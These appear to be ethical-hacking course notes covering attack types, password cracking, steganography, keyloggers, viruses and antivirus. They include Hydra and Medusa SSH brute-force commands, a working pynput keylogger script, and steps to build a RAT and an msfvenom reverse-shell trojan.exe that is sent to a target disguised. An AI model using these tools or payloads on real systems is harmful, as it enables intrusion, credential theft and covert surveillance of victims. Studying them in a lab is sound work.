**Malware And Threat Detection**

**1. What are the different types of hacking methods?**

* **Phishing:** Tricking users into revealing credentials via fake websites or emails.
* **Keylogging:** Recording keystrokes to capture passwords and sensitive data.
* **Social Engineering:** Manipulating people to give confidential information.
* **SQL Injection:** Injecting SQL commands into input fields to gain access to databases.
* **Man-in-the-Middle (MitM):** Intercepting communication between two systems.
* **Brute Force Attack:** Trying every possible combination to guess a password.
* **Denial of Service (DoS):** Overloading a system to make it unavailable.
* **Cross-Site Scripting (XSS):** Injecting malicious scripts into web pages.

**2. Explain Types of Password Attacks**

* **Brute Force Attack:** Trying all possible passwords.
* **Dictionary Attack:** Using a predefined list of common passwords.
* **Hybrid Attack:** Combines dictionary and brute force methods.
* **Credential Stuffing:** Using leaked usernames/passwords from other breaches.
* **Phishing:** Stealing credentials via fake login pages.
* **Keylogging:** Capturing passwords typed by users.
* **Rainbow Table Attack:** Using precomputed hash tables to crack hashed passwords.

**3. Explain Password Cracking Tools**

* **pwdump7:**
  + Extracts password hashes from Windows SAM database.
  + Requires administrator privileges.
  + Outputs LM and NTLM hashes for offline cracking.
* **Medusa:**
  + Fast parallel, modular login brute-forcing tool.
  + Supports multiple services: SSH, FTP, HTTP, etc.
  + Command-line usage:

medusa -h <IP> -u <user> -P <password\_file> -M ssh

* **Hydra (THC-Hydra):**
  + Network login cracker supporting various protocols (SSH, FTP, HTTP, Telnet, etc.).
  + Command-line example:

hydra -l admin -P passwords.txt ssh://192.168.1.5

**4. Explain Types of Steganography with QuickStego and Echo**

* **Types of Steganography:**
  + **Image Steganography:** Hiding data in image files.
  + **Audio Steganography:** Concealing data in audio files.
  + **Video Steganography:** Embedding data in video frames.
  + **Text Steganography:** Using text formatting or characters to hide data.
  + **Protocol Steganography:** Hiding data in network protocols.
* **Tools:**
  + **QuickStego:**
    - GUI-based tool to hide text inside image files.
    - User selects image → enters secret text → saves a stego image.
  + **Echo (Command line stego):**
    - Can be used to embed simple messages inside files using terminal redirection or scripts.

**5. Perform Practical on Keylogger Tool**

You can perform this using **Revealer Keylogger** or **Spyrix**, or using custom Python script (educational purpose only):

from pynput.keyboard import Listener

def write\_to\_file(key):

key\_data = str(key).replace("'", "")

with open("log.txt", "a") as f:

f.write(key\_data + "\n")

with Listener(on\_press=write\_to\_file) as listener:

listener.join()

⚠️ **Note**: Use keyloggers only in lab or legal educational environments. Never install them on someone else's machine without permission.

**Malware Section**

**1. Define Types of Viruses**

* **File Infector Virus:** Attaches to executable files (.exe).
* **Macro Virus:** Targets macros in Word/Excel files.
* **Boot Sector Virus:** Infects the master boot record (MBR).
* **Polymorphic Virus:** Changes code to avoid detection.
* **Resident Virus:** Stays in memory and infects other files.
* **Worms:** Self-replicating, spread over networks.
* **Trojan Horse:** Appears legitimate but has malicious payload.

**2. Create Virus using Http RAT Trojan Tool**

⚠️ For **educational use only** in isolated lab setups.

Steps:

1. Download **Http RAT** (Remote Access Trojan).
2. Generate a **malicious .exe payload** using its interface.
3. Configure **listener** with attacker IP and port.
4. Send payload to target (as disguised file).
5. On execution, attacker gains remote access to target.

💡 **Note:** Tools like **MSFVenom** in Kali Linux can also generate similar payloads:

msfvenom -p windows/meterpreter/reverse\_tcp LHOST=<your\_IP> LPORT=4444 -f exe > trojan.exe

**3. Explain any one Antivirus with example**

**Example: Windows Defender**

* Built-in antivirus in Windows OS.
* Provides real-time protection, threat detection, and automatic scanning.
* Detects malware, spyware, viruses, and ransomware.
* Automatically updates with Windows Update.

**How it works:**

* Scans files using signatures and behavioral analysis.
* Removes/quarantines malicious software.
* Uses **cloud-based protection** to detect new threats faster.